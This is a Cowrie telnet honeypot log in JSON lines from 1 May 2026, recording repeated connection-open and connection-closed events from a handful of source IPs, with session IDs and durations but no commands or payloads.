{"eventid":"cowrie.session.closed","duration":30.11747407913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.021978Z","src_ip":"104.167.8.156","session":"d1681078f9cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90075922012329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.033407Z","src_ip":"104.167.8.156","session":"6e3e5fa3cf15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980568408966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.053602Z","src_ip":"104.167.8.156","session":"c3a660d9e8b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.364363193511963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.069268Z","src_ip":"104.167.8.156","session":"cb1145115858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231618642807007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.214623Z","src_ip":"104.167.8.156","session":"0f3fefa37284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54108,"dst_ip":"10.17.0.5","dst_port":23,"session":"5afd672d1f3f","protocol":"telnet","message":"New connection: 104.167.8.156:54108 (10.17.0.5:23) [session: 5afd672d1f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.219884Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54526,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9981619f8a","protocol":"telnet","message":"New connection: 104.167.8.156:54526 (10.17.0.5:23) [session: 7c9981619f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.314906Z"}
{"eventid":"cowrie.session.closed","duration":31.273136377334595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.335669Z","src_ip":"104.167.8.156","session":"5ec5a797a34f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55592,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7e50979f41","protocol":"telnet","message":"New connection: 104.167.8.156:55592 (10.17.0.5:23) [session: da7e50979f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.605393Z"}
{"eventid":"cowrie.session.closed","duration":42.29088735580444,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.626798Z","src_ip":"188.208.141.113","session":"d16f47668584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331390619277954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.712464Z","src_ip":"104.167.8.156","session":"a8fef00cbb43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56950,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e61539361f","protocol":"telnet","message":"New connection: 104.167.8.156:56950 (10.17.0.5:23) [session: 90e61539361f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:27.965548Z"}
{"eventid":"cowrie.session.closed","duration":30.110676050186157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.023796Z","src_ip":"104.167.8.156","session":"9019f007f739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12698483467102,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.063500Z","src_ip":"104.167.8.156","session":"2235a2a13c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50825262069702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.071869Z","src_ip":"104.167.8.156","session":"84748b12c0dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167418479919434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.220200Z","src_ip":"104.167.8.156","session":"f980752205e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302853107452393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.265721Z","src_ip":"108.61.251.217","session":"d8bb7e30fa50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300756692886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.318455Z","src_ip":"104.167.8.156","session":"bc239bd1f82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237175941467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.363570Z","src_ip":"104.167.8.156","session":"098c3dab2721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48258948326111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.782840Z","src_ip":"104.167.8.156","session":"ad4685f05983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56563687324524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.811956Z","src_ip":"104.167.8.156","session":"832fdea2dee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56850,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b36651d1cd","protocol":"telnet","message":"New connection: 104.167.8.156:56850 (10.17.0.5:23) [session: 50b36651d1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:28.941201Z"}
{"eventid":"cowrie.session.closed","duration":30.94030499458313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.097289Z","src_ip":"104.167.8.156","session":"98583c6c2b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44233250617981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.164994Z","src_ip":"104.167.8.156","session":"75dc59ff572a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57750,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29bcf27a1d2","protocol":"telnet","message":"New connection: 104.167.8.156:57750 (10.17.0.5:23) [session: a29bcf27a1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.174997Z"}
{"eventid":"cowrie.session.closed","duration":30.922126293182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.189596Z","src_ip":"104.167.8.156","session":"d55ae1196afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699647665023804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.344672Z","src_ip":"104.167.8.156","session":"5404419ab1e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34788,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a9d9a14bcd","protocol":"telnet","message":"New connection: 104.167.8.156:34788 (10.17.0.5:23) [session: 44a9d9a14bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.464286Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06d6d0db69a","protocol":"telnet","message":"New connection: 104.167.8.156:59182 (10.17.0.5:23) [session: a06d6d0db69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.514835Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59762,"dst_ip":"10.17.0.5","dst_port":23,"session":"d889a4be4b88","protocol":"telnet","message":"New connection: 104.167.8.156:59762 (10.17.0.5:23) [session: d889a4be4b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.628586Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35464,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e846adb3752","protocol":"telnet","message":"New connection: 104.167.8.156:35464 (10.17.0.5:23) [session: 0e846adb3752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.642532Z"}
{"eventid":"cowrie.session.closed","duration":31.604838132858276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.647615Z","src_ip":"104.167.8.156","session":"b4e520b9f84f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.654456853866577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.683624Z","src_ip":"104.167.8.156","session":"106cc2a0863e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91922163963318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.733824Z","src_ip":"104.167.8.156","session":"eb2dd8058fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.818405628204346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.836533Z","src_ip":"104.167.8.156","session":"f31cd4ba6161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712058782577515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.925861Z","src_ip":"104.167.8.156","session":"e6406c09ed70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642056465148926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:29.929317Z","src_ip":"104.167.8.156","session":"7940702e3152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68741464614868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.127102Z","src_ip":"104.167.8.156","session":"804b3469893c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37298,"dst_ip":"10.17.0.5","dst_port":23,"session":"f957c6cad4e5","protocol":"telnet","message":"New connection: 104.167.8.156:37298 (10.17.0.5:23) [session: f957c6cad4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.135069Z"}
{"eventid":"cowrie.session.closed","duration":30.935672283172607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.283650Z","src_ip":"104.167.8.156","session":"f0313e032a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36076,"dst_ip":"10.17.0.5","dst_port":23,"session":"304a0ab15c3e","protocol":"telnet","message":"New connection: 188.208.141.113:36076 (10.17.0.5:23) [session: 304a0ab15c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.325058Z"}
{"eventid":"cowrie.session.closed","duration":31.316361665725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.375221Z","src_ip":"104.167.8.156","session":"c1d85c71506f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54782,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b25006d3f3f","protocol":"telnet","message":"New connection: 104.167.8.156:54782 (10.17.0.5:23) [session: 7b25006d3f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.384717Z"}
{"eventid":"cowrie.session.closed","duration":31.1228346824646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.527551Z","src_ip":"104.167.8.156","session":"c6cde771dfc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b9f2fbaeba","protocol":"telnet","message":"New connection: 188.208.141.113:36082 (10.17.0.5:23) [session: a5b9f2fbaeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.596932Z"}
{"eventid":"cowrie.session.closed","duration":31.358180284500122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.616500Z","src_ip":"108.61.251.217","session":"6df8f7ad547a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46213674545288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.625201Z","src_ip":"104.167.8.156","session":"0890c110daf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc5324bdab5","protocol":"telnet","message":"New connection: 104.167.8.156:35664 (10.17.0.5:23) [session: 1dc5324bdab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.704584Z"}
{"eventid":"cowrie.session.closed","duration":30.93100357055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:30.790071Z","src_ip":"104.167.8.156","session":"3795fea5b063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac3ceac38e7","protocol":"telnet","message":"New connection: 104.167.8.156:36822 (10.17.0.5:23) [session: bac3ceac38e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.008844Z"}
{"eventid":"cowrie.session.closed","duration":31.062350749969482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.042699Z","src_ip":"104.167.8.156","session":"560bb77400ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11755657196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.046582Z","src_ip":"104.167.8.156","session":"f0ba2d88a836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57984,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fc16397328","protocol":"telnet","message":"New connection: 104.167.8.156:57984 (10.17.0.5:23) [session: 30fc16397328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.232600Z"}
{"eventid":"cowrie.session.closed","duration":30.94569158554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.318302Z","src_ip":"104.167.8.156","session":"59d87389ee96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01515507698059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.322819Z","src_ip":"104.167.8.156","session":"c5880e754210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24791979789734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.334252Z","src_ip":"104.167.8.156","session":"288be4369abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791166305541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.381052Z","src_ip":"108.61.251.217","session":"1fe17afd1eff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849329233169556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.611970Z","src_ip":"104.167.8.156","session":"f1d36a800d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955257892608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.628008Z","src_ip":"104.167.8.156","session":"73477451d07a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":45982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b6232deba45","protocol":"telnet","message":"New connection: 98.70.41.28:45982 (159.203.135.109:23) [session: 9b6232deba45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:31.699032Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"d073fc13f99b","protocol":"telnet","message":"New connection: 104.167.8.156:45536 (10.17.0.5:23) [session: d073fc13f99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.108160Z"}
{"eventid":"cowrie.session.closed","duration":30.36877465248108,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.150688Z","src_ip":"108.61.251.217","session":"6856fcd2a1e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22141456604004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.154603Z","src_ip":"108.61.251.217","session":"1198f55a582b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33528,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29fdf12ad89","protocol":"telnet","message":"New connection: 104.167.8.156:33528 (10.17.0.5:23) [session: f29fdf12ad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.160710Z"}
{"eventid":"cowrie.session.closed","duration":30.917689323425293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.228039Z","src_ip":"104.167.8.156","session":"b9525849a1de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628211498260498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.324735Z","src_ip":"104.167.8.156","session":"b95620784514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389521598815918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.592982Z","src_ip":"98.70.41.28","session":"b5946f2ed909","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35326,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6dbbf9de9c3","protocol":"telnet","message":"New connection: 104.167.8.156:35326 (10.17.0.5:23) [session: b6dbbf9de9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.600334Z"}
{"eventid":"cowrie.session.closed","duration":31.26941967010498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.742403Z","src_ip":"104.167.8.156","session":"fbf4de2869b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.548449516296387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.758890Z","src_ip":"104.167.8.156","session":"59f2742d43a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921130895614624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:32.800245Z","src_ip":"104.167.8.156","session":"a99ca11cff56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.15918231010437,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.000909Z","src_ip":"188.208.141.113","session":"9e00d1064ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4586923122406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.183253Z","src_ip":"104.167.8.156","session":"c59039787061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215753316879272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.243499Z","src_ip":"104.167.8.156","session":"1add8c2ae4d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"602cbcb1dc51","protocol":"telnet","message":"New connection: 108.61.251.217:57048 (10.17.0.5:23) [session: 602cbcb1dc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.269866Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50770,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cfcb9254932","protocol":"telnet","message":"New connection: 104.167.8.156:50770 (10.17.0.5:23) [session: 5cfcb9254932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.396005Z"}
{"eventid":"cowrie.session.closed","duration":31.334731578826904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.459381Z","src_ip":"104.167.8.156","session":"eb0272170784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51646,"dst_ip":"10.17.0.5","dst_port":23,"session":"c019dbd85242","protocol":"telnet","message":"New connection: 104.167.8.156:51646 (10.17.0.5:23) [session: c019dbd85242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.621828Z"}
{"eventid":"cowrie.session.closed","duration":31.520509243011475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.639703Z","src_ip":"104.167.8.156","session":"51fb0b76b1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e8a941d272","protocol":"telnet","message":"New connection: 104.167.8.156:52078 (10.17.0.5:23) [session: a4e8a941d272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.754297Z"}
{"eventid":"cowrie.session.closed","duration":31.19787859916687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:33.764582Z","src_ip":"104.167.8.156","session":"3a603136fe82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.811959505081177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.022622Z","src_ip":"108.61.251.217","session":"1df8c7047b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50228,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed90de7c8dcc","protocol":"telnet","message":"New connection: 104.167.8.156:50228 (10.17.0.5:23) [session: ed90de7c8dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.254783Z"}
{"eventid":"cowrie.session.closed","duration":31.21619176864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.269665Z","src_ip":"108.61.251.217","session":"0c0a5c61ef25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644272327423096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.368641Z","src_ip":"104.167.8.156","session":"bb83561360fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200051307678223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:34.426397Z","src_ip":"108.61.251.217","session":"8c3c7b9f8401","protocol":"telnet"}
